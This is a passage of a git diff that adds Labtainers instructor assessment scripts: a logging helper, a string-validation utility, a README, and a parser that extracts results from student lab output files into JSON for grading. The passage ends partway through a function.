b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-instructor/assess_bin/InstructorLogging.py new file mode 100755 index 000000000..0f2bb4b2c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-instructor/assess_bin/InstructorLogging.py @@ -0,0 +1,85 @@ +#!/usr/bin/env python +''' +This software was created by United States Government employees at +The Center for the Information Systems Studies and Research (CISR) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +''' + +import inspect +import logging +import os +import sys +import re + + +class InstructorLogging(): + def __init__(self, logfilename): + #print "filename is (%s)" % logfilename + #print "labname is (%s)" % labname + + file_log_level = logging.DEBUG + console_log_level = logging.WARNING + + self.logger = logging.getLogger('instructor.log') + self.logger.setLevel(file_log_level) + formatter = logging.Formatter('[%(asctime)s - %(levelname)s : %(message)s') + + file_handler = logging.FileHandler(logfilename) + file_handler.setLevel(file_log_level) + file_handler.setFormatter(formatter) + + console_handler = logging.StreamHandler() + console_handler.setLevel(console_log_level) + console_handler.setFormatter(formatter) + + self.logger.addHandler(file_handler) + self.logger.addHandler(console_handler) + + def DEBUG(self, message): + func = inspect.currentframe().f_back + #print "func.f_code.co_name is %s" % func.f_code.co_name + #print "func.f_code.co_filename is %s" % func.f_code.co_filename + #print "func.f_lineno is %s" % func.f_lineno + filename = os.path.basename(func.f_code.co_filename) + lineno = func.f_lineno + funcname = func.f_code.co_name + linemessage = '%s:%s - %s() ] %s' % (filename, lineno, funcname[:15], message) + self.logger.debug(linemessage) + + def INFO(self, message): + func = inspect.currentframe().f_back + #print "func.f_code.co_name is %s" % func.f_code.co_name + #print "func.f_code.co_filename is %s" % func.f_code.co_filename + #print "func.f_lineno is %s" % func.f_lineno + filename = os.path.basename(func.f_code.co_filename) + lineno = func.f_lineno + funcname = func.f_code.co_name + linemessage = '%s:%s - %s() ] %s' % (filename, lineno, funcname[:15], message) + self.logger.info(linemessage) + + def WARNING(self, message): + func = inspect.currentframe().f_back + #print "func.f_code.co_name is %s" % func.f_code.co_name + #print "func.f_code.co_filename is %s" % func.f_code.co_filename + #print "func.f_lineno is %s" % func.f_lineno + filename = os.path.basename(func.f_code.co_filename) + lineno = func.f_lineno + funcname = func.f_code.co_name + linemessage = '%s:%s - %s() ] %s' % (filename, lineno, funcname[:15], message) + self.logger.warning(linemessage) + + def ERROR(self, message): + func = inspect.currentframe().f_back + #print "func.f_code.co_name is %s" % func.f_code.co_name + #print "func.f_code.co_filename is %s" % func.f_code.co_filename + #print "func.f_lineno is %s" % func.f_lineno + filename = os.path.basename(func.f_code.co_filename) + lineno = func.f_lineno + funcname = func.f_code.co_name + linemessage = '%s:%s - %s() ] %s' % (filename, lineno, funcname[:15], message) + self.logger.error(linemessage) + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-instructor/assess_bin/MyUtil.py b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-instructor/assess_bin/MyUtil.py new file mode 100755 index 000000000..12645196f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-instructor/assess_bin/MyUtil.py @@ -0,0 +1,42 @@ +#!/usr/bin/env python +''' +This software was created by United States Government employees at +The Center for the Information Systems Studies and Research (CISR) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +''' + +# MyUtil.py +# Description: * Various utilities + +import re +import sys + +# Strip beginning/ending whitespace from InputTag +# Return True if InputTag consists of alphanumeric, dash or underscore +# Otherwise, return False +def CheckAlphaDashUnder(InputTag): + InputTagStripped = InputTag.strip() + if re.match(r'^[a-zA-Z0-9_-]*$', InputTagStripped): + # Stripped InputTag consists of alphanumeric, dash or underscore + return True + else: + return False + +def main(): + #print "Testing MyUtil.py" + t_string = ' This string 123 has spaces in between ' + print('CheckAlphaDashUnder("%s") evaluates to %r' % (t_string, CheckAlphaDashUnder(t_string))) + t_string = ' This-string-123-does_not-spaces-in-between ' + print('CheckAlphaDashUnder("%s") evaluates to %r' % (t_string, CheckAlphaDashUnder(t_string))) + t_string = ' This-string-has-&-!-#-special-characters ' + print('CheckAlphaDashUnder("%s") evaluates to %r' % (t_string, CheckAlphaDashUnder(t_string))) + + return 0 + +if __name__ == '__main__': + sys.exit(main()) + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-instructor/assess_bin/README.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-instructor/assess_bin/README.txt new file mode 100644 index 000000000..ec8ac86d3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-instructor/assess_bin/README.txt @@ -0,0 +1,5 @@ +Please note the scripts in this directory are intended +to be run on an instructor container (in the ~/.local/bin +directory. Python scripts may import modules not present +in the repository instance of this directory, but will +be present on the container. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-instructor/assess_bin/ResultParser.py b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-instructor/assess_bin/ResultParser.py new file mode 100755 index 000000000..ad7e3a8cf --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/scripts/labtainer-instructor/assess_bin/ResultParser.py @@ -0,0 +1,1103 @@ +#!/usr/bin/env python +''' +This software was created by United States Government employees at +The Center for the Information Systems Studies and Research (CISR) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +''' + +# ResultParser.py +# Description: * Read results.config +# * Parse stdin and stdout files based on results.config +# * Create a json file + +import datetime +import json +import glob +import md5 +import os +import re +import sys +import time +import MyUtil +import GoalsParser +import ParameterParser +from parse import * + +MYHOME = "" +container_exec_proglist = {} +stdoutfnameslist = [] +timestamplist = {} +line_types = ['CHECKSUM', 'CONTAINS', 'FILE_REGEX', 'FILE_REGEX_TS', 'LINE', 'STARTSWITH', 'NEXT_STARTSWITH', 'HAVESTRING', + 'HAVESTRING_TS', 'LOG_TS', 'LOG_RANGE', 'REGEX', 'REGEX_TS', 'LINE_COUNT', 'PARAM', 'STRING_COUNT', 'COMMAND_COUNT', 'TIME_DELIM'] +just_field_type = ['CHECKSUM', 'LINE_COUNT', 'TIME_DELIM'] +logger = None +resultidlist = {} + +def GetExecProgramList(containername, studentlabdir, container_list, targetfile): + # This will return a list of executable program name matching + # /.local/result/.targetfile.* + # If containername is "" then loop through all directory of studentlabdir/container + # where container is from the container_list + # If containername is non "" then directory is studentlabdir/containername + myexec_proglist = [] + mylist = [] + if containername == "": + #print "containername is empty - do for all container in the container list" + mylist = container_list + else: + #print "containername is non empty - do for that container only" + mylist.append(containername) + #print "Final container list is " + #print mylist + for cur_container in mylist: + string_to_glob = "%s/%s/.local/result/*.%s.*" % (studentlabdir, cur_container, targetfile) + #print "string_to_glob is (%s)" % string_to_glob + globnames = glob.glob('%s' % string_to_glob) + for name in globnames: + basefilename = os.path.basename(name) + #print "basefilename is %s" % basefilename + split_string = ".%s" % targetfile + #print "split_string is %s" % split_string + namesplit = basefilename.split(split_string) + #print namesplit + if namesplit[0] not in myexec_proglist: + myexec_proglist.append(namesplit[0]) + return myexec_proglist + + +def ValidateTokenId(result_value, token_id, logger): + if token_id != 'ALL' and token_id != 'LAST': + try: + int(token_id) + except ValueError: + logger.ERROR("results.config line (%s)\n" % result_value) + logger.ERROR("results.config has invalid token_id") + sys.exit(1) + +def findLineIndex(values): + for ltype in line_types: + if ltype in values: + return values.index(ltype) + + return None + +def ProcessConfigLine(actual_parsing, studentlabdir, container_list, labidname, result_key, result_value, logger): + ''' + This function populates a set of global structures used in processing the results + ''' + valid_field_types = ['TOKEN', 'GROUP', 'PARENS', 'QUOTES', 'SLASH', 'LINE_COUNT', 'CHECKSUM', 'CONTAINS','FILE_REGEX', + 'FILE_REGEX_TS', 'SEARCH', 'PARAM', 'STRING_COUNT', 'COMMAND_COUNT'] + if not MyUtil.CheckAlphaDashUnder(result_key): + logger.ERROR("Not allowed characters in results.config's key (%s)" % result_key) + sys.exit(1) + values = [] + # See the Labtainer Lab Designer User guide for syntax + + # NOTE: Split using ' : ' - i.e., "space colon space" + values = [x.strip() for x in result_value.split(' : ')] + #print values + numvalues = len(values) + logger.DEBUG("result_value is %s -- numvalues is (%d)" % (result_value, numvalues)) + if numvalues < 2: + logger.ERROR("found no ':' delimiter in %s" % result_value) + sys.exit(1) + if numvalues < 3 and values[1] not in just_field_type: + logger.ERROR("Offending line: (%s).\n Perhaps there is a missing ':'?" % result_value) + logger.ERROR("results.config expected %s to be one of these: %s." % (values[1], str(just_field_type))) + sys.exit(1) + + line_at = findLineIndex(values) + if line_at is None: + logger.ERROR('No line_type in %s' % result_value) + sys.exit(1) + num_splits = line_at+1 + #print "line_at is (%d) and num_splits is (%d)" % (line_at, num_splits) + + # NOTE: Split using ' : ' - i.e., "space colon space" + values = [x.strip() for x in result_value.split(' : ', num_splits)] + + # get optional container name and determine if it is 'stdin' or 'stdout' + newprogname_type = values[0].strip() + logger.DEBUG('newprogname_type is %s' % newprogname_type) + cmd = values[1].strip() + # :. + if ':' in newprogname_type: + ''' + [container_name:].[stdin | stdout] | [container_name:]file_path[:time_program] + + ''' + cfgcontainername = '' + parts = newprogname_type.split(':') + if len(parts) == 2: + if parts[0].startswith('/'): + progname_type = parts[0] + if len(container_list) > 1: + logger.ERROR('No container name found in multi container lab entry (%s = %s)' % (result_key, result_value)) + sys.exit(1) + else: + cfgcontainername = parts[0] + progname_type = parts[1] + elif len(parts) == 3: + cfgcontainername = parts[0] + progname_type = parts[1] + else: + if len(container_list) > 1: + logger.ERROR('No container name found in multi container lab entry (%s = %s)' % (result_key, result_value)) + sys.exit(1) + if newprogname_type.endswith('stdin') or newprogname_type.endswith('stdout') \ + or newprogname_type.endswith('prgout'): + cfgcontainername = container_list[0].split('.')[1] + #print('assigned to %s' % cfgcontainername) + else: + cfgcontainername = "" + progname_type = newprogname_type + # Construct proper containername from cfgcontainername + if cfgcontainername == "": + containername = "" + else: + containername = labidname + "." + cfgcontainername + ".student" + + + logger.DEBUG('Start to populate exec_program_list, progname_type is %s' % progname_type) + # No longer restricted to stdin/stdout filenames + if ('stdin' not in progname_type) and ('stdout' not in progname_type) and ('prgout' not in progname_type): + # Not stdin/stdout - add the full name + logger.DEBUG('Not a STDIN or STDOUT: %s ' % progname_type) + else: + (exec_program, targetfile) = progname_type.rsplit('.', 1) + exec_program_list = [] + # Can only parse for wildcard if it is actual parsing - not validation + if exec_program == "*" and actual_parsing: + exec_program_list = GetExecProgramList(containername, studentlabdir, container_list, targetfile) + logger.DEBUG("wildcard, exec_program_list is %s" % exec_program_list) + else: + exec_program_list.append(exec_program) + logger.DEBUG('exec_program %s, append to list, container is %s' % (exec_program, containername)) + if containername != "": + #print('containername is %s' % containername) + if containername not in container_exec_proglist: + container_exec_proglist[containername] = [] + for cur_exec_program in exec_program_list: + if cur_exec_program not in container_exec_proglist[containername]: + container_exec_proglist[containername].append(cur_exec_program) + logger.DEBUG('proglist is %s' % str(container_exec_proglist[containername])) + else: + if "CURRENT" not in container_exec_proglist: + container_exec_proglist["CURRENT"] = [] + for cur_exec_program in exec_program_list: + if cur_exec_program not in container_exec_proglist["CURRENT"]: + container_exec_proglist["CURRENT"].append(cur_exec_program) + #print container_exec_proglist["CURRENT"] + + #print container_exec_proglist + + # Validate - if exists (i.e., line_at == 3) + # - because is optional + field_type = None + if line_at == 3: + field_type = values[1].strip() + if field_type not in valid_field_types: + logger.ERROR("results.config line (%s)\n" % result_value) + logger.ERROR("results.config invalid field_type") + sys.exit(1) + + # Sanity check for 'PARAM' type + if values[line_at] == 'PARAM': + logger.DEBUG("progname_type is (%s)" % progname_type) + if not progname_type.endswith('stdin'): + logger.ERROR("results.config line (%s)\n" % result_value) + logger.ERROR("PARAM field_type on non stdin file") + sys.exit(1) + paramtoken_id = values[2].strip() + try: + paramindex = int(paramtoken_id) + except: + logger.ERROR("results.config line (%s)\n" % result_value) + logger.ERROR('PARAM field_type could not parse int from %s' % paramtoken_id) + sys.exit(1) + + # If line_type1 (line_at != 1) - verify token id + if field_type != 'SEARCH' and line_at != 1: + token_index = 1 + if line_at == 3: + token_index = 2 + ValidateTokenId(result_value, values[token_index], logger) + + if values[line_at] == 'LINE': + try: + int(values[line_at+1]) + except: + logger.ERROR('Expected integer following LINE type, got %s in %s' % (values[line_at+1], result_value)) + sys.exit(1) + + return newprogname_type, cmd + +def getToken(linerequested, field_type, token_id, logger): + #print "Line requested is (%s)" % linerequested + if linerequested == None: + token = '' + else: + linetokens = {} + if field_type == 'PARENS': + myre = re.findall('\(.+?\)', linerequested) + linetokenidx = 0 + for item in myre: + #print "linetokenidx = %d" % linetokenidx + linetokens[linetokenidx] = item[1:-1] + linetokenidx = linetokenidx + 1 + numlinetokens = len(linetokens) + elif field_type == 'QUOTES': + myre = re.findall('".+?"', linerequested) + linetokenidx = 0 + for item in myre: + #print "linetokenidx = %d" % linetokenidx + linetokens[linetokenidx] = item[1:-1] + linetokenidx = linetokenidx + 1 + numlinetokens = len(linetokens) + elif field_type == 'SLASH': + myre = linerequested.split('/') + linetokenidx = 0 + for item in myre: + #print "linetokenidx = %d" % linetokenidx + linetokens[linetokenidx] = item + linetokenidx = linetokenidx + 1 + numlinetokens = len(linetokens) + elif field_type == 'SEARCH': + logger.DEBUG('is search') + search_results = search(token_id, linerequested) + if search_results is not None: + token = str(search_results[0]) + else: + token = None + else: + # field_type == "TOKEN" + linetokens = linerequested.split() + numlinetokens = len(linetokens) + + + if token_id == 'ALL': + token = linerequested.strip() + elif token_id == 'LAST': + if numlinetokens > 0: + token = linetokens[numlinetokens-1] + else: + token = None + elif field_type != 'SEARCH': + #print linetokens + # make sure tokenno <= numlinetokens + tokenno = int(token_id) + #print "tokenno = %d" % tokenno + if tokenno > numlinetokens: + token = "" + #print "setting result to none tokenno > numlinetokens" + else: + token = linetokens[tokenno-1] + return token + +def lineHasCommand(line, look_for): + retval = 0 + if not look_for.startswith('time ') and line.startswith('time'): + line = line[5:].strip() + if not look_for.startswith('sudo ') and line.startswith('sudo'): + line = line[5:].strip() + commands = line.split(';') + for c in commands: + c = c.strip() + pipes = c.split('|') + for p in pipes: + p = p.strip() + if p.startswith('('): + p = p[1:] + if p.startswith(look_for): + retval += 1 + return retval + +def getTS(line): + retval = None + ''' try syslog format first ''' + ts_string = line[:15] + now = datetime.datetime.now() + ts_string = '%d %s' % (now.year, ts_string) + try: + time_val = datetime.datetime.strptime(ts_string, '%Y %b %d %H:%M:%S') + retval = time_val.strftime("%Y%m%d%H%M%S") + except: + pass + if retval is None: + ''' snort format ''' + ts_string = line[:14] + ts_string = '%d %s' % (now.year, ts_string) + try: + time_val = datetime.datetime.strptime(ts_string, '%Y %m/%d-%H:%M:%S') + retval = time_val.strftime("%Y%m%d%H%M%S") + except: + pass + + if retval is None: + ''' httpd format ''' + if '[' in line and ']' in line: + ts_string = line[line.find("[")+1:line.find("]")].split()[0] + try: + time_val = datetime.datetime.strptime(ts_string, '%d/%b/%Y:%H:%M:%S') + retval = time_val.strftime("%Y%m%d%H%M%S") + except: + pass + if retval is None: + print('ERROR getting timestamp from %s' % line) + return retval + + +def getTokenFromFile(current_targetfname, command, field_type, token_id, logger, lookupstring, line, result_key): + # Read in corresponding file + targetf = open(current_targetfname, "r") + targetlines = targetf.readlines() + targetf.close() + targetfilelen = len(targetlines) + #print('current_targetfname %s' % current_targetfname) + + # command has been validated to be either 'LINE' or 'STARTSWITH' or 'HAVESTRING' + linerequested = None + if command == 'LINE': + # make sure lineno <= targetfilelen + if lineno <= targetfilelen: + linerequested = targetlines[lineno-1] + elif command == 'HAVESTRING': + # command = 'HAVESTRING': + found_lookupstring = False + for currentline in targetlines: + if found_lookupstring == False: + if lookupstring in currentline: + found_lookupstring = True + linerequested = currentline + break + # If not found - set to None + if found_lookupstring == False: + linerequested = None + elif command == 'REGEX': + found_lookupstring = False + for currentline in targetlines: + if found_lookupstring == False: + sobj = re.search(lookupstring, currentline) + if sobj is not None: + found_lookupstring = True + if field_type == 'GROUP': + linerequested = sobj + else: + linerequested = currentline + break + # If not found - set to None + if found_lookupstring == False: + linerequested = None + elif command == 'HAVESTRING_TS' or command == 'LOG_RANGE' or \ + command == 'REGEX_TS' or command == 'FILE_REGEX_TS' or command == 'LOG_TS': + return None + elif command == 'LINE_COUNT': + return targetfilelen + elif command == 'PARAM': + fname = os.path.basename(current_targetfname).rsplit('.',1)[0] + if fname.endswith('stdin'): + program_name = current_targetfname.rsplit('.', 1)[0] + else: + # Config file 'PARAM' has been validated against stdin + # Treat this as can't find token + logger.DEBUG('PARAM only valid for stdin files: %s' % current_targetfname) + return '' + if 'PROGRAM_ARGUMENTS' in targetlines[0]: + try: + index = int(token_id) + except: + # Config file 'PARAM' has been validated, should not be failing here + # If it does, then should really exit + logger.ERROR('could not parse int from %s' % token_id) + sys.exit(1) + if index == 0: + tagstring = program_name + else: + s = targetlines[0] + param_str = s[s.find("(")+1:s.find(")")] + params = param_str.split() + try: + tagstring = params[index-1] + except: + # Couldn't find the corresponding parameter + # Treat this as can't find token + logger.DEBUG('did not find parameter %d in %s' % (index-1, param_str)) + return '' + return tagstring + elif command == 'CHECKSUM': + ''' Create a checksum of the targetfile ''' + mymd5 = md5.new() + targetlinestring = "".join(targetlines) + mymd5.update(targetlinestring) + tagstring = mymd5.hexdigest() + return tagstring + elif command == 'CONTAINS': + if token_id == 'CONTAINS': + ''' search entire file, vice searching for line ''' + remain = line.split(command,1)[1] + remain = remain.split(':', 1)[1].strip() + tagstring = False + for currentline in targetlines: + #print('look for <%s> in %s' % (remain, currentline)) + if remain in currentline: + tagstring = True + break + return tagstring + + elif command == 'FILE_REGEX': + ''' search entire file, for line with given regex ''' + remain = line.split(command,1)[1] + remain = remain.split(':', 1)[1].strip() + tagstring = False + allofit = ''.join(targetlines) + #print('%s' % allofit) + #print('look for %s' % remain) + sobj = re.findall(remain, allofit, re.MULTILINE | re.DOTALL) + if sobj is not None and len(sobj)>0: + tagstring = True + return tagstring + + + elif command == 'STRING_COUNT': + ''' search entire file, vice searching for line ''' + remain = line.split(command,1)[1] + remain = remain.split(':', 1)[1].strip() + count=0 + for currentline in targetlines: + #print('look for <%s> in %s' % (remain, currentline)) + if remain in currentline: + count += 1 + return count + + elif command == 'COMMAND_COUNT': + ''' intended for bash_history files, look for occurances of what look like commands ''' + remain = line.split(command,1)[1] + look_for = remain.split(':', 1)[1].strip() + count=0 + for currentline in targetlines: + occurances = lineHasCommand(currentline.strip(), look_for) + count += occurances + return count + + elif command == 'STARTSWITH': + #print('is startswith') + found_lookupstring = False + for currentline in targetlines: + if found_lookupstring == False: + if currentline.startswith(lookupstring): + found_lookupstring = True + linerequested = currentline + #print('line requested is %s' % linerequested) + break + # If not found - set to None + if found_lookupstring == False: + logger.DEBUG('*** No line starts with %s ***' % (lookupstring)) + linerequested = None + elif command == 'NEXT_STARTSWITH': + found_lookupstring = False + prev_line = None + for currentline in targetlines: + if found_lookupstring == False: + if currentline.startswith(lookupstring) and prev_line is not None: + found_lookupstring = True + linerequested = prev_line + break + prev_line = currentline + # If not found - set to None + if found_lookupstring == False: + logger.DEBUG('*** No next line starts with %s ***' % (lookupstring)) + linerequested = None + else: + # config file should have been validated + # - if still unknown command, then should exit + logger.ERROR('unknown command %s' % command) + sys.exit(1) + if command == 'REGEX' and field_type == 'GROUP': + try: + token = linerequested.group(int(token_id)) + except: + token = '' + else: + token = getToken(linerequested, field_type, token_id, logger) + logger.DEBUG('field_type %s, token_id %s, got token %s' % (field_type, token_id, token)) + return token + +def getParamList(MYHOME, studentdir, logger): + lab_instance_seed = GoalsParser.GetLabInstanceSeed(studentdir, logger) + container_user = "" + param_filename = os.path.join(MYHOME, '.local', 'config', + 'parameter.config') + + pp = ParameterParser.ParameterParser(None, container_user, lab_instance_seed, logger) + + parameter_list = pp.ParseParameterConfig(param_filename) + return parameter_list + +def getConfigItems(labidname, line, studentlabdir, container_list, logger, parameter_list): + targetlines = None + if '=' not in line: + print('no equals in %s' % line) + return + containername= targetfile= result_key= command= field_type= token_id= lookupstring= result_home = None + #print('line is %s' % line) + logger.DEBUG('line is %s' % line) + (result_key, result_value) = line.split('=', 1) + result_key = result_key.strip() + + #print result_key + # Note: config file has been validated + # Split into four parts or five parts + # NOTE: Split using ' : ' - i.e., "space colon space" + values = [x.strip() for x in result_value.split(' : ')] + line_at = findLineIndex(values) + num_splits = line_at+1 + # NOTE: Split using ' : ' - i.e., "space colon space" + values = [x.strip() for x in result_value.split(' : ', num_splits)] + newtargetfile = values[0].strip() + logger.DEBUG('line_at is %d newtargetvalue = %s, values: %s' % (line_at, newtargetfile, str(values))) + #print('newtargetfile is %s' % newtargetfile) + # :. + containername = None + if ':' in newtargetfile: + cfgcontainername, targetfile = newtargetfile.split(':', 1) + #print('split got targetfile of %s' % targetfile) + else: + ''' default to first container? ''' + #print('first cont is %s' % container_list[0]) + containername = container_list[0] + targetfile = newtargetfile + # Construct proper containername from cfgcontainername + if containername is None: + containername = labidname + "." + cfgcontainername + ".student" + result_home = '%s/%s/%s' % (studentlabdir, containername, ".local/result/") + + if targetfile.startswith('/'): + targetfile = os.path.join(result_home, targetfile[1:]) + #print('targetfile is %s containername is %s' % (targetfile, containername)) + logger.DEBUG('targetfile is %s, containername is %s' % (targetfile, containername)) + if containername is not None and containername not in container_list: + print "Config line (%s) containername %s not in container list (%s), skipping..." % (line, containername, str(container_list)) + logger.DEBUG("Config line (%s) containername %s not in container list (%s), skipping..." % (line, + containername, str(container_list))) + return None, None, result_key, None, None, None, None, None + + command = values[line_at].strip() + # field_type - if exists (because field_type is optional) + # has been validated to be one of the valid field types. + # + # if it does not exists, default field_type is TOKEN + if line_at == 3: + field_type = values[1].strip() + else: + field_type = "TOKEN" + # command has been validated to be either 'LINE' or 'STARTSWITH' or 'HAVESTRING' + token_index = 1 + if line_at == 3: + token_index = 2 + if command == 'PARAM': + token_id = values[2].strip() + elif command == 'CHECKSUM': + token_id = None + else: + token_id = values[token_index].strip() + if command == 'LINE': + lineno = int(values[line_at+1].strip()) + elif command not in just_field_type: + lookupstring = values[line_at+1].strip() + if lookupstring.startswith('$'): + tstring = lookupstring[1:] + if tstring in parameter_list: + logger.DEBUG('replacing %s with %s' % (lookupstring, parameter_list[tstring])) + lookupstring = parameter_list[tstring] + + return containername, targetfile, result_key, command, field_type, token_id, lookupstring, result_home + + +def handleConfigFileLine(labidname, line, nametags, studentlabdir, container_list, timestamppart, logger, parameter_list): + retval = True + containername, targetfile, result_key, command, field_type, token_id, lookupstring, result_home = getConfigItems(labidname, line, studentlabdir, container_list, logger, parameter_list) + if targetfile is None: + nametags[result_key]=None + logger.ERROR('No target file in %s' % line) + return retval + logger.DEBUG('command %s, field_type %s, token_id %s' % (command, field_type, token_id)) + targetfname_list = [] + if targetfile.startswith('*'): + # Handle 'asterisk' -- + #print "Handling asterisk" + #print "containername is %s, targetfile is %s" % (containername, targetfile) + # Replace targetfile as a list of files + targetfileparts = targetfile.split('.') + targetfilestdinstdout = None + if targetfileparts is not None: + targetfilestdinstdout = targetfileparts[1] + if targetfilestdinstdout is not None: + #print "targetfilestdinstdout is %s" % targetfilestdinstdout + if containername in container_exec_proglist: + myproglist = container_exec_proglist[containername] + else: + myproglist = container_exec_proglist["CURRENT"] + for progname in myproglist: + if timestamppart is not None: + targetfname = '%s%s.%s.%s' % (result_home, progname, targetfilestdinstdout, timestamppart) + targetfname_list.append(targetfname) + else: + #print "Handling non-asterisk" + + if timestamppart is not None: + if not targetfile.startswith(result_home): + targetfname = '%s%s.%s' % (result_home, targetfile, timestamppart) + else: + targetfname = '%s.%s' % (targetfile, timestamppart) + else: + ''' descrete file, no timestamp. ''' + if targetfile.startswith('~/'): + targetfile = targetfile[2:] + targetfname = os.path.join(studentlabdir, containername, targetfile) + #print "labdir is (%s)" % studentlabdir + + targetfname_list.append(targetfname) + + #print "Current targetfname_list is %s" % targetfname_list + + tagstring = "" + # Loop through targetfname_list + # Will ONLY contain one entry, except for the case where astrix is used + for current_targetfname in targetfname_list: + if not os.path.exists(current_targetfname): + # If file does not exist, treat as can't find token + token = "" + logger.DEBUG("No %s file does not exist\n" % current_targetfname) + #nametags[result_key] = token + return False + else: + token = getTokenFromFile(current_targetfname, command, field_type, token_id, logger, lookupstring, line, result_key) + if token is None: + return False + + #print token + if token == "": + tagstring = "" + elif token is None: + tagstring = None + else: + tagstring = token + # found the token - break out of the main for loop + break + + # set nametags - value pair + if tagstring is not None: + nametags[result_key] = tagstring + return True + else: + return False + + +def ParseConfigForTimeRec(studentlabdir, labidname, configfilelines, ts_jsonfname, container_list, logger, parameter_list): + ts_nametags = {} + for line in configfilelines: + linestrip = line.rstrip() + if linestrip is not None and not linestrip.startswith('#') and len(line.strip())>0: + containername, targetfile, result_key, command, field_type, token_id, lookupstring, result_home = getConfigItems(labidname, linestrip, studentlabdir, container_list, logger, parameter_list) + + if command == 'HAVESTRING_TS': + if not os.path.isfile(targetfile): + continue + with open(targetfile, "r") as fh: + targetlines = fh.readlines() + for currentline in targetlines: + if lookupstring in currentline: + time_val = getTS(currentline) + if time_val is None: + continue + ts = str(time_val) + if ts not in ts_nametags: + ts_nametags[ts] = {} + ts_nametags[ts]['PROGRAM_ENDTIME'] = 0 + token = getToken(currentline, field_type, token_id, logger) + ts_nametags[ts][result_key] = token + + if command == 'LOG_TS': + if not os.path.isfile(targetfile): + continue + with open(targetfile, "r") as fh: + targetlines = fh.readlines() + for currentline in targetlines: + if lookupstring in currentline: + time_val = getTS(currentline) + if time_val is None: + continue + ts = str(time_val) + if ts not in ts_nametags: + ts_nametags[ts] = {} + ts_nametags[ts]['PROGRAM_ENDTIME'] = 0 + ts_nametags[ts][result_key] = True + + if command == 'LOG_RANGE': + if not os.path.isfile(targetfile): + continue + with open(targetfile, "r") as fh: + targetlines = fh.readlines() + prev_time_val = None + last_time_val = None + for currentline in targetlines: + time_val = getTS(currentline) + if time_val is None: + continue + if prev_time_val is None: + prev_time_val = time_val + if lookupstring in currentline: + last_time_val = time_val + prev_ts = str(prev_time_val) + end_ts = str(time_val) + if prev_ts not in ts_nametags: + ts_nametags[prev_ts] = {} + ts_nametags[prev_ts]['PROGRAM_ENDTIME'] = end_ts + elif ts_nametags[prev_ts]['PROGRAM_ENDTIME'] == 0: + ts_nametags[prev_ts]['PROGRAM_ENDTIME'] = end_ts + ts_nametags[prev_ts][result_key] = True + prev_time_val = time_val + if last_time_val is not None: + prev_ts = str(prev_time_val) + end_ts = str(last_time_val) + if prev_ts not in ts_nametags: + ts_nametags[prev_ts] = {} + ts_nametags[prev_ts]['PROGRAM_ENDTIME'] = end_ts + elif ts_nametags[prev_ts]['PROGRAM_ENDTIME'] == 0: + ts_nametags[prev_ts]['PROGRAM_ENDTIME'] = end_ts + ts_nametags[prev_ts][result_key] = True + + + elif command == 'REGEX_TS': + if not os.path.isfile(targetfile): + continue + with open(targetfile, "r") as fh: + targetlines = fh.readlines() + for currentline in targetlines: + sobj = re.search(lookupstring, currentline) + if sobj is not None: + time_val = getTS(currentline) + if time_val is None: + continue + ts = str(time_val) + if ts not in ts_nametags: + ts_nametags[ts] = {} + ts_nametags[ts]['PROGRAM_ENDTIME'] = 0 + if field_type == 'GROUP': + try: + token = sobj.group(int(token_id)) + except: + token = '' + else: + token = getToken(currentline, field_type, token_id, logger) + ts_nametags[ts][result_key] = token + elif command == 'FILE_REGEX_TS': + if not os.path.isfile(targetfile): + continue + with open(targetfile, "r") as fh: + targetlines = fh.readlines() + for currentline in targetlines: + sobj = re.search(lookupstring, currentline) + if sobj is not None: + time_val = getTS(currentline) + if time_val is None: + continue + ts = str(time_val) + if ts not in ts_nametags: + ts_nametags[ts] = {} + ts_nametags[ts]['PROGRAM_ENDTIME'] = 0 + ts_nametags[ts][result_key] = True + + jsonoutput = open(ts_jsonfname, "w") + for ts in ts_nametags: + for key in ts_nametags[ts]: + old = ts_nametags[ts][key] + new = repr(old) + ts_nametags[ts][key] = new + try: + jsondumpsoutput = json.dumps(ts_nametags, indent=4) + except: + logger.ERROR('json dumps failed on %s' % ts_nametags) + exit(1) + #print('dumping %s' % str(jsondumpsoutput)) + jsonoutput.write(jsondumpsoutput) + jsonoutput.write('\n') + jsonoutput.close() + +def doFileTimeDelim(ts_nametags, result_home, targetfile, result_key, command, lookupstring, logger): + fname, delim_prog = targetfile.split(':') + logger.DEBUG('targetfile is time delim %s delim_prog %s fname %s' % (targetfile, delim_prog, fname)) + look_for = os.path.join(result_home,'%s.stdout.*' % delim_prog) + #print('look for %s' % look_for) + delim_list = glob.glob(look_for) + delim_ts_set = [] + for delim_ts_file in delim_list: + ts = delim_ts_file.rsplit('.',1)[1] + delim_ts_set.append(ts) + if len(delim_ts_set) == 0: + logger.DEBUG('no ts files for program time delimiter %s' % delim_prog) + return + delim_ts_set.sort() + end_times='99999999999999' + delim_ts_set.append(end_times) + ts = 0 + current_ts_end = delim_ts_set[0] + index = 0 + with open(fname) as fh: + for currentline in fh: + time_val = getTS(currentline) + logger.DEBUG('ts[index] %s my_time %s' % (delim_ts_set[index], time_val)) + if time_val > delim_ts_set[index]: + logger.DEBUG('time greater') + if ts in ts_nametags: + ts_nametags[ts]['PROGRAM_ENDTIME'] = time_val + ts = delim_ts_set[index] + index += 1 + if command == 'CONTAINS': + if lookupstring in currentline: + if ts not in ts_nametags: + ts_nametags[ts] = {} 